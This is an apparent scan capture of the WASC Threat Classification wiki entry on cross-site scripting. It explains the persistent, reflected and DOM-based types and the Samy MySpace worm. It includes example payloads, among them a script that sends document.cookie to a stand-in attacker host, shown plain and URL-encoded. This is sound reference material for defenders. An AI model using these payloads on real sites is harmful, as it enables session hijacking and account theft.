projects.webappsec.org Open in urlscan Pro
208.96.18.237  Public Scan

Form analysis
1 forms found in the DOM

POST /Cross%20Site%20Scripting

<form method="post" action="/Cross%20Site%20Scripting" id="editwikipage"><input type="hidden" name="process" value="edit_page">
  <div id="editframe"></div>
</form>

Text Content

 * The Web Application Security Consortium

log inhelp

 * Wiki
 * Pages & Files



 * If you are citizen of an European Union member nation, you may not use this
   service unless you are at least 16 years old.

 * You already know Dokkio is an AI-powered assistant to organize & manage your
   digital files & messages. Very soon, Dokkio will support Outlook as well as
   One Drive. Check it out today!

View


 


CROSS SITE SCRIPTING

Page history last edited by Robert Auger 12 years, 8 months ago



Project: WASC Threat Classification

Threat Type: Attack

Reference ID: WASC-8

 


CROSS-SITE SCRIPTING

Cross-site Scripting (XSS) is an attack technique that involves echoing
attacker-supplied code into a user's browser instance. A browser instance can be
a standard web browser client, or a browser object embedded in a software
product such as the browser within WinAmp, an RSS reader, or an email client.
The code itself is usually written in HTML/JavaScript, but may also extend to
VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his/her code, the code will
run within the security context (or zone) of the hosting web site. With this
level of privilege, the code has the ability to read, modify and transmit any
sensitive data accessible by the browser. A Cross-site Scripted user could have
his/her account hijacked (cookie theft), their browser redirected to another
location, or possibly shown fraudulent content delivered by the web site they
are visiting. Cross-site Scripting attacks essentially compromise the trust
relationship between a user and the web site. Applications utilizing browser
object instances which load content from the file system may execute code under
the local machine zone allowing for system compromise.

 

There are three types of Cross-site Scripting attacks: non-persistent,
persistent and DOM-based.

Non-persistent attacks and DOM-based attacks require a user to either visit a
specially crafted link laced with malicious code, or visit a malicious web page
containing a web form, which when posted to the vulnerable site, will mount the
attack. Using a malicious form will oftentimes take place when the vulnerable
resource only accepts HTTP POST requests. In such a case, the form can be
submitted automatically, without the victim's knowledge (e.g. by using
JavaScript). Upon clicking on the malicious link or submitting the malicious
form, the XSS payload will get echoed back and will get interpreted by the
user's browser and execute. Another technique to send almost arbitrary requests
(GET and POST) is by using an embedded client, such as Adobe Flash.

Persistent attacks occur when the malicious code is submitted to a web site
where it's stored for a period of time. Examples of an attacker's favorite
targets often include message board posts, web mail messages, and web chat
software. The unsuspecting user is not required to interact with any additional
site/link (e.g. an attacker site or a malicious link sent via email), just
simply view the web page containing the code.

 

Persistent Attack Example

Many web sites host bulletin boards where registered users may post messages
which are stored in a database of some kind. A registered user is commonly
tracked using a session ID cookie authorizing them to post. If an attacker were
to post a message containing a specially crafted JavaScript, a user reading this
message could have their cookies and their account compromised.

Cookie Stealing Code Snippet:

 

<SCRIPT>


document.location= 'http://attackerhost.example/cgi-


bin/cookiesteal.cgi?'+document.cookie


</SCRIPT>



Due to the fact that the attack payload is stored on the server side, this form
of xss attack is persistent.

 

Non-Persistent Attack Example

Many web portals offer a personalized view of a web site and may greet a logged
in user with "Welcome, <your username>". Sometimes the data referencing a logged
in user is stored within the query string of a URL and echoed to the screen

Portal URL example:
http://portal.example/index.php?sessionid=12312312&username=Joe

In the example above we see that the username "Joe" is stored in the URL. The
resulting web page displays a "Welcome, Joe" message. If an attacker were to
modify the username field in the URL, inserting a cookie-stealing JavaScript, it
would possible to gain control of the user's account if they managed to get the
victim to visit their URL.

A large percentage of people will be suspicious if they see JavaScript embedded
in a URL, so most of the time an attacker will URL Encode their malicious
payload similar to the example below.

URL Encoded example of Cookie Stealing URL:

 

http://portal.example/index.php?sessionid=12312312&


username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65


%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70


%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65


%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F


%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64


%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73


%63%72%69%70%74%3E


Decoded example of Cookie Stealing URL:

 

http://portal.example/index.php?sessionid=12312312&


username=<script>document.location='http://attackerhost.example/cgi-


bin/cookiesteal.cgi?'+document.cookie</script>


DOM-based Attack Example

Unlike the previous two flavors, DOM based XSS does not require the web server
to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker
abuses runtime embedding of attacker data in the client side, from within a page
served from the web server.

Consider an HTML web page which embeds user-supplied content at client side,
i.e. at the user's browser. This in fact a well established practice. For
example, an HTML page can have JavaScript code that embeds the location/URL of
the page into the page. This URL may be partly controlled by the attacker.

In such case, an attacker can force the client (browser) to render the page with
parts of the DOM (the location and/or the referrer) controlled by the attacker.
When the page is rendered and the data is processed by the page (typically by a
client side HTML-embedded script such as JavaScript), the page's code may
insecurely embed the data in the page itself, thus delivering the cross-site
scripting payload.

For example:

Assume that the URL

http://www.vulnerable.site/welcome.html 


 

contains the following content:

<HTML>


<TITLE>Welcome!</TITLE>


Hi


<SCRIPT>


var pos=document.URL.indexOf("name=")+5;


document.write(document.URL.substring(pos,document.URL.length));


</SCRIPT>


 


Welcome to our system


…</HTML>



This page will use the value from the "name" parameter in the following manner.

http://www.vulnerable.site/welcome.html?name=Joe


In this example the JavaScript code embeds part of document.URL (the page
location) into the page, without any consideration for security. An attacker can
abuse this by luring the client to click on a link such as

http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>


 

which will embed the malicious JavaScript payload into the page at runtime.

There are several DOM objects which can serve as a vehicle to such attack:

 * The path/query part of the location/URL object, in which case the server does
   receive the payload as part of the URL section of the HTTP request.
 * The username and/or password part of the location/URL object (http://
   username:password@host/...), in which case the server receives the payload,
   Base64-encoded, in the Authorization header.
 * The fragment part of the location/URL object, in which case the server does
   not receive the payload at all (!), because the browser typically does not
   send this part of the URL.
 * The referrer object, in which case the server receives the payload in the
   Referer header.

 

It is quite possible that other DOM objects can be used too, particularly if the
DOM is extended. At any case, while in some vehicles, the server does receive
the payload, it is important to note that the server does not necessarily embed
the payload into the response page - the essence of DOM based XSS is that the
client-side code does the embedding.

The DOM-based XSS attack concept is extended into the realm of non-JS client
side code, such as Flash. A Flash object is invoked in the context of a
particular site at the client side, and some "environment" information is made
available to it. This "environment" enables the Flash object to query the
browser DOM in which it is embedded. For example, the DOM location object can be
retrieved via ExternalInterface.call("window.document.location.href.toString").
Alternatively, DOM information such as the Flash movie URL can be retrieved e.g.
through _url (see
http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary579.html).
A Flash (SWF) object may contain insecure code that does not validate
user-controlled "environment" values, thus effectively becoming vulnerable to
the same kind of attack as a JS code that does not validate its user-controlled
DOM objects. For real-world examples, see
http://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw

 


CROSS-SITE SCRIPTING WORMS AND MALWARE

The best example of a Web Worm is the Samy Worm, the first major worm of its
kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in
MySpace.com’s personal profile web page template. In October of 2005, Samy
Kamkar the worms author, updated h is profile Web page with the first copy of
the JavaScript exploit code. MySpace was performing some input filtering
blacklists to pr event XSS exploits, but they were far from perfect. Using some
filter-bypassing techniques, Samy was successful in uploading his code.

When an authenticated MySpace user viewed Samy's profile, the worm payload using
XHR, forced the user's web browser to add Samy as a friend, include Samy as the
user's hero ("but most of all, samy is my hero") , and alter the user's profile
with a copy of the malware code. Starting with a single visitor the Samy Worm
infection grew exponentially to over 1,000,000 infected user profiles in under
24 hours. MySpace was forced to shutdown its website in order to stop the
infection, fix the vulnerability, and perform clean up.

 


 


REFERENCES

"CERT" Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"

[1] http://www.cert.org/advisories/CA-2000-02.html

 

"The Cross Site Scripting FAQ" - CGISecurity.com

[2] http://www.cgisecurity.com/xss-faq.html

 

"Cross Site Scripting Info"

[3] http://httpd.apache.org/info/css-security/

 

"24 Character entity references in HTML 4"

[4] http://www.w3.org/TR/html4/sgml/entities.html

 

"Understanding Malicious Content Mitigation for Web Developers"

[5] http://www.cert.org/tech_tips/malicious_code_mitigation.html

 

"Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett -
SPI Dynamics

[6] http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

 

"Cross-site Scripting Explained", By Amit Klein

[7] http://crypto.stanford.edu/cs155/papers/CSS.pdf

 

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann

[8] http://www.technicalinfo.net/papers/CSS.html

 

"DOM Based Cross Site Scripting or XSS of the Third Kind" By Amit Klein (WASC
article)

[9] http://www.webappsec.org/projects/articles/071105.shtml

 

"Forging HTTP request headers with Flash" By Amit Klein

[10]
http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2006-July/001433.html

 

"Cross-Site Scripting Worm Hits MySpace BetaNews, October 13, 2005"

[11]
http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391

 

"Technical explanation of the MySpace worm"

[12] http://namb.la/popular/tech.html

 

"Samy (XSS) Wikipedia Entry"

[13] http://en.wikipedia.org/wiki/Samy_(XSS)

 

"XMLHttpRequest Wikipedia Entry"

[14] http://en.wikipedia.org/wiki/XMLHttpRequest

 

"Feed Injection In Web 2.0: Hacking RSS and Atom Feed Implementations" By Robert
Auger

[15] http://www.cgisecurity.com/papers/HackingFeeds.pdf

 

"About URL Security Zones, Microsoft"

[16] http://msdn.microsoft.com/en-us/library/ms537183.aspx

 

Failure to Preserve Web Page Structure ('Cross-site Scripting')

[17] http://cwe.mitre.org/data/definitions/79.html


CROSS SITE SCRIPTING

PAGE TOOLS


INSERT LINKS

Insert links to other pages or uploaded files.

Pages Images and files
Insert a link to a new page
 1. Loading...

 1. No images or files uploaded yet.

Insert image from URL

Tip: To turn text into a link, highlight the text, then click on a page or file
from the list above.


COMMENTS (0)



You don't have permission to comment on this page.

Printable version
 


 
 * Tags: Threat Classification
   
   
   
   Cross Site Scripting tags changed

 * Check for plagiarism


SIDEBAR

 

WASC Projects

 * Distributed Open Proxy Honeypots
 * Script Mapping
 * Static Analysis Technologies Evaluation Criteria (NEW)
 * The Web Security Glossary
 * Web Application Firewall Evaluation Criteria
 * Web Application Security Scanner Evaluation Criteria
 * Web Application Security Statistics
 * Web Hacking Incidents Database
 * WASC Threat Classification

 

WASC Project Leaders

 * Robert Auger
 * Ryan Barnett
 * Romain Gaucher
 * Sergey Gordeychik
 * Sherif Koussa
 * Ofer Shezaf
 * Brian Shura

 

WASC Main Website

 * http://www.webappsec.org/

 

WASC Mailing Lists

 * http://lists.webappsec.org/

 

WASC on Twitter

 * http://twitter.com/wascupdates

 

Join us on Linkedin!

 * http://www.linkedin.com/groups?gid=83336

 

 


RECENT ACTIVITY

 
Show 0 new items
 * Static Code Analysis Listedited by Sherif Koussa
 * WASC TC Gap Analysisedited by Bil Corry
 * WASC TC Gap Analysisedited by Robert Auger
 * WASC TC Gap Analysisedited by Robert Auger
 * WASC TC Gap Analysisedited by Robert Auger
 * WASC TC Gap Analysisedited by Robert Auger
 * WASC TC Gap Analysisedited by Robert Auger

More activity...